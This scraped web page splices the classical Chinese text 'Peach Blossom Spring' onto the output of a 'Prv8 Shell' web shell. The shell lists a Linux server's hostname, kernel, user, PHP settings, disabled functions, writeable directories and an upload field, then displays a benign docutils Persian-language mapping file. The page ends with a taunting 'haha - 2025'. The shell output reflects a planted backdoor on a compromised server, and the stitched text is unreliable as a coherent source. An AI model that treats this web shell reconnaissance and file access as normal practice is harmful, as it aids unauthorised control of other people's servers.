晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/imunify360/venv/lib64/python3.11/site-packages/docutils/parsers/rst/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/imunify360/venv/lib64/python3.11/site-packages/docutils/parsers/rst/languages/fa.py
# $Id: fa.py 4564 2016-08-10 11:48:42Z
# Author: Shahin <me@5hah.in>
# Copyright: This module has been placed in the public domain.

# New language mappings are welcome.  Before doing a new translation, please
# read <https://docutils.sourceforge.io/docs/howto/i18n.html>.
# Two files must be translated for each language: one in docutils/languages,
# the other in docutils/parsers/rst/languages.

"""
Persian-language mappings for language-dependent features of
reStructuredText.
"""

__docformat__ = 'reStructuredText'


directives = {
    # language-dependent: fixed
    'توجه': 'attention',
    'احتیاط': 'caution',
    'کد': 'code',
    'بلوک-کد': 'code',
    'کد-منبع': 'code',
    'خطر': 'danger',
    'خطا': 'error',
    'راهنما': 'hint',
    'مهم': 'important',
    'یادداشت': 'note',
    'نکته': 'tip',
    'اخطار': 'warning',
    'تذکر': 'admonition',
    'نوار-کناری': 'sidebar',
    'موضوع': 'topic',
    'بلوک-خط': 'line-block',
    'تلفظ-پردازش-شده': 'parsed-literal',
    'سر-فصل': 'rubric',
    'کتیبه': 'epigraph',
    'نکات-برجسته': 'highlights',
    'نقل-قول': 'pull-quote',
    'ترکیب': 'compound',
    'ظرف': 'container',
    # 'questions': 'questions',
    'جدول': 'table',
    'جدول-csv': 'csv-table',
    'جدول-لیست': 'list-table',
    # 'qa': 'questions',
    # 'faq': 'questions',
    'متا': 'meta',
    'ریاضی': 'math',
    # 'imagemap': 'imagemap',
    'تصویر': 'image',
    'شکل': 'figure',
    'شامل': 'include',
    'خام': 'raw',
    'جایگزین': 'replace',
    'یونیکد': 'unicode',
    'تاریخ': 'date',
    'کلاس': 'class',
    'قانون': 'role',
    'قانون-پیش‌فرض': 'default-role',
    'عنوان': 'title',
    'محتوا': 'contents',
    'شماره-فصل': 'sectnum',
    'شماره‌گذاری-فصل': 'sectnum',
    'سرآیند': 'header',
    'پاصفحه': 'footer',
    # 'footnotes': 'footnotes',
    # 'citations': 'citations',
    'یادداشت-هدف': 'target-notes',
}
"""Persian name to registered (in directives/__init__.py) directive name
mapping."""

roles = {
    # language-dependent: fixed
    'مخفف': 'abbreviation',
    'سرنام': 'acronym',
    'کد': 'code',
    'شاخص': 'index',
    'زیرنویس': 'subscript',
    'بالانویس': 'superscript',
    'عنوان': 'title-reference',
    'نیرو': 'pep-reference',
    'rfc-reference (translation required)': 'rfc-reference',
    'تاکید': 'emphasis',
    'قوی': 'strong',
    'لفظی': 'literal',
    'ریاضی': 'math',
    'منبع-نام‌گذاری': 'named-reference',
    'منبع-ناشناس': 'anonymous-reference',
    'منبع-پانویس': 'footnote-reference',
    'منبع-نقل‌فول': 'citation-reference',
    'منبع-جایگزینی': 'substitution-reference',
    'هدف': 'target',
    'منبع-uri': 'uri-reference',
    'uri': 'uri-reference',
    'url': 'uri-reference',
    'خام': 'raw',
}
"""Mapping of Persian role names to canonical role names for interpreted text.
"""

haha - 2025